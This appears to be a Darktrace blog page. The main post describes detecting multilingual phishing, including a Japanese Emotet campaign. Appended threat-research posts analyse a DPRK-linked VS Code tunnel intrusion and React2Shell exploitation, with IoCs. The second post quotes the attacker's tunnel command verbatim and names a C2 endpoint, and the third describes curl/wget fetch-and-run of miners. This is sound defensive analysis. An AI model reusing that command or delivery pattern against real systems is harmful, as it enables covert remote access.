Blog
/
/
June 16, 2021

Stopping Corp-Internal Phishing Attacks with Darktrace

Discover how Darktrace Email stopped a series of multi-language phishing attacks, including an Emotet campaign in Japanese. Learn how Darktrace can help!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Mariana Pereira
VP, Field CISO
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
16
Jun 2021

Click here! Clique aqui! ここをクリック! Klikk here! !اینجا کلیک کنید naDev yIbej! Hic tange!

Language is deceptive. In the realm of email security, language can deceive a recipient into clicking a link or completing a transaction, and it can trick a security tool into thinking an email is legitimate.

It is for this reason that Darktrace/Email is not reliant on language, but rather uses mathematics to develop an understanding of ‘normal’ for every email user in an organization. This enables it to neutralize anomalous emails indicative of a threat around the world, no matter in what format or language they come.

Natural language processing

When it comes to catching a compromised account or impersonation email, how can you teach a computer to understand intent or a change of tone, compared to the normal way a person corresponds?

One of the most common approaches in email security is natural language processing. NLP looks at how to program computers to analyze natural language, commonly by exposing them to a large volume of data.

The result is a computer capable of ‘understanding’ the contents of documents, including the nuances of the language within them. The technology can then extract information in the documents as well as categorize and organize the documents themselves.

Modern-day limitations

However, using NLP is limited in scope for email security as it will often misunderstand specific jargon or colloquialisms, as well as terms that had not been invented when the computer was programmed, unless it is trained on these too. Each additional language requires the computer to learn from zero every time. NLP only works on the regional languages it has been trained on, and it is not commercially viable to teach the technology to work in all small markets.

If a company hires an email security vendor based in America, therefore, it is probable that the security vendor has invested most of their time in detecting English-based phishing threats. That is fine if the company only communicates in English, but this is often not the case. In a 21st century globalized world, the need for security technology to be language-agnostic is more critical than ever.

Not all AI is the same: Unsupervised machine learning

Darktrace/Email relies on unsupervised machine learning, which can learn on the job and does not need to be fed large data sets. It can glean insights from NLP for good measure, but it does not depend on NLP for detection or understanding.

When working with AI it is crucial to understand how the AI learns: does it learn on the job or was it trained with a labeled data set? This is particularly important when looking to understand the intent behind an email, specifically to uncover solicitation attempts either through spoofing, phishing, impersonation of a supplier or any other form of email attack.

Rather than teaching a computer to understand language in an email, Darktrace Cyber AI dynamically assesses activity across inbound and outbound emails including senders, recipients, links, IP addresses, and attachment types. The movement of all these objects are then used by the AI to create the ‘patterns of life’ for every user across all communications, including communications with external users who frequently correspond with a given business.

By taking a mathematical approach, Darktrace/Email is able to understand ‘normal’ for any user regardless of the dialect they are corresponding in, uniquely interpreting all languages from Norwegian to Latin and Persian, and subsequently identifying subtle anomalies indicative of a phishing attack or an account takeover.

Catching Emotet in Japanese

Last year, Darktrace uncovered a sophisticated Spamware campaign which leveraged Emotet, the infamous banking malware. The campaign targeted various industries with highly sophisticated phishing emails.

At a food production company in Japan, Darktrace detected six phishing emails sent over a two-day period in July.

Figure 1: An email from the Emotet campaign.

In the email above, both the subject line and the filename translate to “Regarding the invoice,” followed by a number and the date. The attacker was clearly trying to imitate a legitimate business email here, spoofing a well-known Japanese company (三菱食品(株)) and a common Japanese name (‘藤沢 昭彦’).

Darktrace/Email revealed key metrics behind the email including that the real sender was using a domain name from GMO, a Japanese company which offers cheap web email services, and that the sender’s location was actually Portugal, not Japan.

Figure 2: Darktrace/Email detects the attempt at inducement.

Darktrace/Email’s models recognized the topic anomalies and inducement attempts in the emails, regardless of the language they had been written in – giving a high anomaly score of 85. Furthermore, Darktrace’s AI determined that the extension and the MIME type in the attachments were anomalous, when compared to the documents which the user normally exchanges via email.

Portuguese threat find

In another instance, a series of malicious emails were sent to an organization in Europe. These emails used several tactics to bypass the company’s security tools, including personalized subject lines and hidden malicious URLs.

Figure 3: An interactive snapshot of Darktrace/Email’s user interface. The subject line reads ‘Notice of transfer.’

As displayed above, the email contained a link that appeared to lead to a CaixaBank domain. However, Darktrace/Email recognized this as a deliberate attempt to mislead the recipient and revealed that the link in fact led to a WordPress domain, which Cyber AI identified as 100% rare for the business.

A closer inspection revealed that these emails were sent from Vietnam. The sender had never been in any previous correspondence with the business, and the isolated link within the email was also marked as a 100% rare domain. Darktrace/Email held these malicious emails back, protecting the organization from harm.

Universal defense

These two examples demonstrate the benefits of an unsupervised machine learning approach. An AI security solution which analyzes hundreds of different metrics and does not rely on pre-existing data is a groundbreaking advantage when faced with global phishing threats that now utilize a wide range of languages.

Email-based attacks are becoming more targeted and more convincing by the day. Targeted social engineering and spear phishing with advanced translation tools bombard companies daily, in all languages.

Whether it’s a phishing attack against a local office in Korea or a solicitation attempt in Arabic – even a malicious email written in Klingon from a Star Trek convention – or any of the thousands of email exchanges which occur in countless vernaculars and tones, Darktrace/Email can keep your company safe across the world, and beyond.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Mariana Pereira
VP, Field CISO

More in this series

No items found.

Blog

/

Network

/

January 21, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Continue reading
About the author

Blog

/

Cloud

/

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI